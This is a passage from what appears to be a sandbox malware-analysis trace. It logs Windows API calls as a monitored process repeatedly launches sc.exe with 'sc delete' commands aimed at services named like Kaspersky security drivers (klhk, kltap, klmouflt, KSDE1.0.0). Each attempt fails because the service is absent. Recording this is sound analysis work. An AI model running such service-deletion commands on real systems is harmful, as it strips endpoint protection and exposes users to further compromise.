__wgetmainargs (in: _Argc=0xffadb604, _Argv=0xffadb610, _Env=0xffadb608, _DoWildCard=0, _StartInfo=0xffadb050 | out: _Argc=0xffadb604, _Argv=0xffadb610, _Env=0xffadb608) returned 0 [0067.831] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.834] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0067.834] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0067.834] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0067.834] _wcsicmp (_String1="delete", _String2="query") returned -13 [0067.834] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0067.834] _wcsicmp (_String1="delete", _String2="start") returned -15 [0067.834] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0067.834] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0067.834] _wcsicmp (_String1="delete", _String2="control") returned 1 [0067.834] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0067.834] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0067.834] _wcsicmp (_String1="delete", _String2="config") returned 1 [0067.834] _wcsicmp (_String1="delete", _String2="description") returned -7 [0067.834] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0067.834] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0067.834] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0067.834] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0067.835] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0067.835] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0067.835] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0067.835] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0067.835] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0067.835] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0067.835] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0067.835] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0067.835] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0067.835] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0067.835] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0067.835] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0067.835] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0067.835] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0067.835] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0xc4370 [0067.938] OpenServiceW (hSCManager=0xc4370, lpServiceName="klkbdflt", dwDesiredAccess=0x10000) returned 0x0 [0067.938] GetLastError () returned 0x424 [0067.939] _itow (in: _Dest=0x424, _Radix=2291256 | out: _Dest=0x424) returned="1060" [0067.939] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffadb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0067.940] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x22f5f0, nSize=0x2, Arguments=0x22f620 | out: lpBuffer="跀\x0c") returned 0x62 [0067.940] GetFileType (hFile=0x120) returned 0x3 [0067.940] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0xc8ea0 [0067.940] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0xc8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x0c", lpUsedDefaultChar=0x0) returned 98 [0067.941] WriteFile (in: hFile=0x120, lpBuffer=0xc8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x22f598, lpOverlapped=0x0 | out: lpBuffer=0xc8ea0*, lpNumberOfBytesWritten=0x22f598*=0x62, lpOverlapped=0x0) returned 1 [0067.941] LocalFree (hMem=0xc8ea0) returned 0x0 [0067.941] LocalFree (hMem=0xc8dc0) returned 0x0 [0067.941] LocalFree (hMem=0x0) returned 0x0 [0067.941] CloseServiceHandle (hSCObject=0xc4370) returned 1 [0067.943] exit (_Code=1060) Thread: id = 99 os_tid = 0xb7c Process: id = "50" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x37dbd000" os_pid = "0xb8c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete klmouflt" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 100 os_tid = 0x618 [0067.995] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fd70 | out: lpSystemTimeAsFileTime=0x18fd70*(dwLowDateTime=0xeaf2f590, dwHighDateTime=0x1d62701)) [0067.995] GetCurrentProcessId () returned 0xb8c [0067.995] GetCurrentThreadId () returned 0x618 [0067.995] GetTickCount () returned 0x1148028 [0067.995] QueryPerformanceCounter (in: lpPerformanceCount=0x18fd78 | out: lpPerformanceCount=0x18fd78*=18819387237) returned 1 [0067.997] GetModuleHandleW (lpModuleName=0x0) returned 0xffac0000 [0067.997] __set_app_type (_Type=0x1) [0067.997] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffac7228) returned 0x0 [0067.997] __wgetmainargs (in: _Argc=0xffacb604, _Argv=0xffacb610, _Env=0xffacb608, _DoWildCard=0, _StartInfo=0xffacb050 | out: _Argc=0xffacb604, _Argv=0xffacb610, _Env=0xffacb608) returned 0 [0067.998] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.999] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0067.999] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0067.999] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0067.999] _wcsicmp (_String1="delete", _String2="query") returned -13 [0067.999] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0067.999] _wcsicmp (_String1="delete", _String2="start") returned -15 [0068.000] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0068.000] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0068.000] _wcsicmp (_String1="delete", _String2="control") returned 1 [0068.000] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0068.000] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0068.000] _wcsicmp (_String1="delete", _String2="config") returned 1 [0068.000] _wcsicmp (_String1="delete", _String2="description") returned -7 [0068.000] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0068.000] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0068.000] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0068.000] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0068.000] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0068.000] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0068.000] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0068.000] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0068.000] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0068.000] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0068.000] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0068.000] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0068.000] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0068.000] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0068.000] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0068.000] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0068.000] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0068.000] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0068.000] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x394370 [0068.004] OpenServiceW (hSCManager=0x394370, lpServiceName="klmouflt", dwDesiredAccess=0x10000) returned 0x0 [0068.004] GetLastError () returned 0x424 [0068.004] _itow (in: _Dest=0x424, _Radix=1637336 | out: _Dest=0x424) returned="1060" [0068.004] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffacb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0068.006] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x18fb90, nSize=0x2, Arguments=0x18fbc0 | out: lpBuffer="跀9") returned 0x62 [0068.006] GetFileType (hFile=0x120) returned 0x3 [0068.006] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x398ea0 [0068.006] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x398ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n9", lpUsedDefaultChar=0x0) returned 98 [0068.006] WriteFile (in: hFile=0x120, lpBuffer=0x398ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x18fb38, lpOverlapped=0x0 | out: lpBuffer=0x398ea0*, lpNumberOfBytesWritten=0x18fb38*=0x62, lpOverlapped=0x0) returned 1 [0068.006] LocalFree (hMem=0x398ea0) returned 0x0 [0068.006] LocalFree (hMem=0x398dc0) returned 0x0 [0068.006] LocalFree (hMem=0x0) returned 0x0 [0068.006] CloseServiceHandle (hSCObject=0x394370) returned 1 [0068.008] exit (_Code=1060) Thread: id = 101 os_tid = 0xb68 Process: id = "51" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x393c6000" os_pid = "0xb70" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete klhk" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 102 os_tid = 0xb88 [0068.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28f830 | out: lpSystemTimeAsFileTime=0x28f830*(dwLowDateTime=0xeafa19b0, dwHighDateTime=0x1d62701)) [0068.054] GetCurrentProcessId () returned 0xb70 [0068.054] GetCurrentThreadId () returned 0xb88 [0068.054] GetTickCount () returned 0x1148057 [0068.054] QueryPerformanceCounter (in: lpPerformanceCount=0x28f838 | out: lpPerformanceCount=0x28f838*=18825253193) returned 1 [0068.055] GetModuleHandleW (lpModuleName=0x0) returned 0xff8b0000 [0068.055] __set_app_type (_Type=0x1) [0068.055] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff8b7228) returned 0x0 [0068.056] __wgetmainargs (in: _Argc=0xff8bb604, _Argv=0xff8bb610, _Env=0xff8bb608, _DoWildCard=0, _StartInfo=0xff8bb050 | out: _Argc=0xff8bb604, _Argv=0xff8bb610, _Env=0xff8bb608) returned 0 [0068.056] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.058] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0068.058] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0068.058] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0068.058] _wcsicmp (_String1="delete", _String2="query") returned -13 [0068.058] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0068.058] _wcsicmp (_String1="delete", _String2="start") returned -15 [0068.058] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0068.058] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0068.058] _wcsicmp (_String1="delete", _String2="control") returned 1 [0068.058] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0068.058] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0068.058] _wcsicmp (_String1="delete", _String2="config") returned 1 [0068.058] _wcsicmp (_String1="delete", _String2="description") returned -7 [0068.058] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0068.058] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0068.058] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0068.058] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0068.058] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0068.058] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0068.058] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0068.058] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0068.058] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0068.058] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0068.058] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0068.058] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0068.058] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0068.058] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0068.059] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0068.059] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0068.059] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0068.059] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0068.059] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3e4360 [0068.062] OpenServiceW (hSCManager=0x3e4360, lpServiceName="klhk", dwDesiredAccess=0x10000) returned 0x0 [0068.062] GetLastError () returned 0x424 [0068.062] _itow (in: _Dest=0x424, _Radix=2684568 | out: _Dest=0x424) returned="1060" [0068.062] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff8bb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0068.064] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x28f650, nSize=0x2, Arguments=0x28f680 | out: lpBuffer="趰>") returned 0x62 [0068.065] GetFileType (hFile=0x120) returned 0x3 [0068.065] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x3e8e90 [0068.065] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x3e8e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n>", lpUsedDefaultChar=0x0) returned 98 [0068.065] WriteFile (in: hFile=0x120, lpBuffer=0x3e8e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x28f5f8, lpOverlapped=0x0 | out: lpBuffer=0x3e8e90*, lpNumberOfBytesWritten=0x28f5f8*=0x62, lpOverlapped=0x0) returned 1 [0068.065] LocalFree (hMem=0x3e8e90) returned 0x0 [0068.065] LocalFree (hMem=0x3e8db0) returned 0x0 [0068.065] LocalFree (hMem=0x0) returned 0x0 [0068.065] CloseServiceHandle (hSCObject=0x3e4360) returned 1 [0068.068] exit (_Code=1060) Thread: id = 103 os_tid = 0xb6c Process: id = "52" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x392cb000" os_pid = "0xb64" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete \"KSDE1.0.0\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 104 os_tid = 0xb84 [0068.120] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1afbf0 | out: lpSystemTimeAsFileTime=0x1afbf0*(dwLowDateTime=0xeb060090, dwHighDateTime=0x1d62701)) [0068.121] GetCurrentProcessId () returned 0xb64 [0068.121] GetCurrentThreadId () returned 0xb84 [0068.121] GetTickCount () returned 0x11480a5 [0068.121] QueryPerformanceCounter (in: lpPerformanceCount=0x1afbf8 | out: lpPerformanceCount=0x1afbf8*=18831919432) returned 1 [0068.122] GetModuleHandleW (lpModuleName=0x0) returned 0xff3b0000 [0068.122] __set_app_type (_Type=0x1) [0068.122] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff3b7228) returned 0x0 [0068.122] __wgetmainargs (in: _Argc=0xff3bb604, _Argv=0xff3bb610, _Env=0xff3bb608, _DoWildCard=0, _StartInfo=0xff3bb050 | out: _Argc=0xff3bb604, _Argv=0xff3bb610, _Env=0xff3bb608) returned 0 [0068.123] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.125] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0068.125] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0068.125] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0068.125] _wcsicmp (_String1="delete", _String2="query") returned -13 [0068.126] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0068.126] _wcsicmp (_String1="delete", _String2="start") returned -15 [0068.126] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0068.126] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0068.126] _wcsicmp (_String1="delete", _String2="control") returned 1 [0068.126] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0068.126] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0068.126] _wcsicmp (_String1="delete", _String2="config") returned 1 [0068.126] _wcsicmp (_String1="delete", _String2="description") returned -7 [0068.126] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0068.126] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0068.126] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0068.126] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0068.126] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0068.126] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0068.126] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0068.126] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0068.126] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0068.126] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0068.126] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0068.126] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0068.126] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0068.126] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0068.126] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0068.126] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0068.126] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0068.126] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0068.127] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x224370 [0068.131] OpenServiceW (hSCManager=0x224370, lpServiceName="KSDE1.0.0", dwDesiredAccess=0x10000) returned 0x0 [0068.131] GetLastError () returned 0x424 [0068.131] _itow (in: _Dest=0x424, _Radix=1768024 | out: _Dest=0x424) returned="1060" [0068.131] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff3bb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0068.133] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1afa10, nSize=0x2, Arguments=0x1afa40 | out: lpBuffer="跀\"") returned 0x62 [0068.134] GetFileType (hFile=0x120) returned 0x3 [0068.134] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x228ea0 [0068.134] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x228ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\"", lpUsedDefaultChar=0x0) returned 98 [0068.134] WriteFile (in: hFile=0x120, lpBuffer=0x228ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1af9b8, lpOverlapped=0x0 | out: lpBuffer=0x228ea0*, lpNumberOfBytesWritten=0x1af9b8*=0x62, lpOverlapped=0x0) returned 1 [0068.134] LocalFree (hMem=0x228ea0) returned 0x0 [0068.134] LocalFree (hMem=0x228dc0) returned 0x0 [0068.134] LocalFree (hMem=0x0) returned 0x0 [0068.134] CloseServiceHandle (hSCObject=0x224370) returned 1 [0068.136] exit (_Code=1060) Thread: id = 105 os_tid = 0xb20 Process: id = "53" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x37ed0000" os_pid = "0xb2c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete kltap" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 106 os_tid = 0xb1c [0068.206] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12f870 | out: lpSystemTimeAsFileTime=0x12f870*(dwLowDateTime=0xeb11e770, dwHighDateTime=0x1d62701)) [0068.206] GetCurrentProcessId () returned 0xb2c [0068.206] GetCurrentThreadId () returned 0xb1c [0068.206] GetTickCount () returned 0x11480f3 [0068.206] QueryPerformanceCounter (in: lpPerformanceCount=0x12f878 | out: lpPerformanceCount=0x12f878*=18840457209) returned 1 [0068.207] GetModuleHandleW (lpModuleName=0x0) returned 0xfff00000 [0068.207] __set_app_type (_Type=0x1) [0068.207] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfff07228) returned 0x0 [0068.207] __wgetmainargs (in: _Argc=0xfff0b604, _Argv=0xfff0b610, _Env=0xfff0b608, _DoWildCard=0, _StartInfo=0xfff0b050 | out: _Argc=0xfff0b604, _Argv=0xfff0b610, _Env=0xfff0b608) returned 0 [0068.208] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.210] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0068.210] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0068.211] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0068.211] _wcsicmp (_String1="delete", _String2="query") returned -13 [0068.211] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0068.211] _wcsicmp (_String1="delete", _String2="start") returned -15 [0068.211] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0068.211] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0068.211] _wcsicmp (_String1="delete", _String2="control") returned 1 [0068.211] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0068.211] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0068.211] _wcsicmp (_String1="delete", _String2="config") returned 1 [0068.211] _wcsicmp (_String1="delete", _String2="description") returned -7 [0068.211] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0068.211] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0068.211] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0068.211] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0068.211] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0068.211] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0068.211] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0068.211] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0068.211] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0068.211] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0068.211] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0068.211] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0068.211] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0068.211] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0068.211] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0068.211] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0068.211] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0068.211] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0068.211] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2e4370 [0068.215] OpenServiceW (hSCManager=0x2e4370, lpServiceName="kltap", dwDesiredAccess=0x10000) returned 0x0 [0068.215] GetLastError () returned 0x424 [0068.215] _itow (in: _Dest=0x424, _Radix=1242840 | out: _Dest=0x424) returned="1060" [0068.215] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xfff0b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0068.217] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x12f690, nSize=0x2, Arguments=0x12f6c0 | out: lpBuffer="跀.") returned 0x62 [0068.217] GetFileType (hFile=0x120) returned 0x3 [0068.217] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x2e8ea0 [0068.217] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x2e8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n.", lpUsedDefaultChar=0x0) returned 98 [0068.217] WriteFile (in: hFile=0x120, lpBuffer=0x2e8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x12f638, lpOverlapped=0x0 | out: lpBuffer=0x2e8ea0*, lpNumberOfBytesWritten=0x12f638*=0x62, lpOverlapped=0x0) returned 1 [0068.217] LocalFree (hMem=0x2e8ea0) returned 0x0 [0068.217] LocalFree (hMem=0x2e8dc0) returned 0x0 [0068.217] LocalFree (hMem=0x0) returned 0x0 [0068.217] CloseServiceHandle (hSCObject=0x2e4370) returned 1 [0068.219] exit (_Code=1060) Thread: id = 107 os_tid = 0x7b4 Process: id = "54" image_name = "sc.exe" filename = 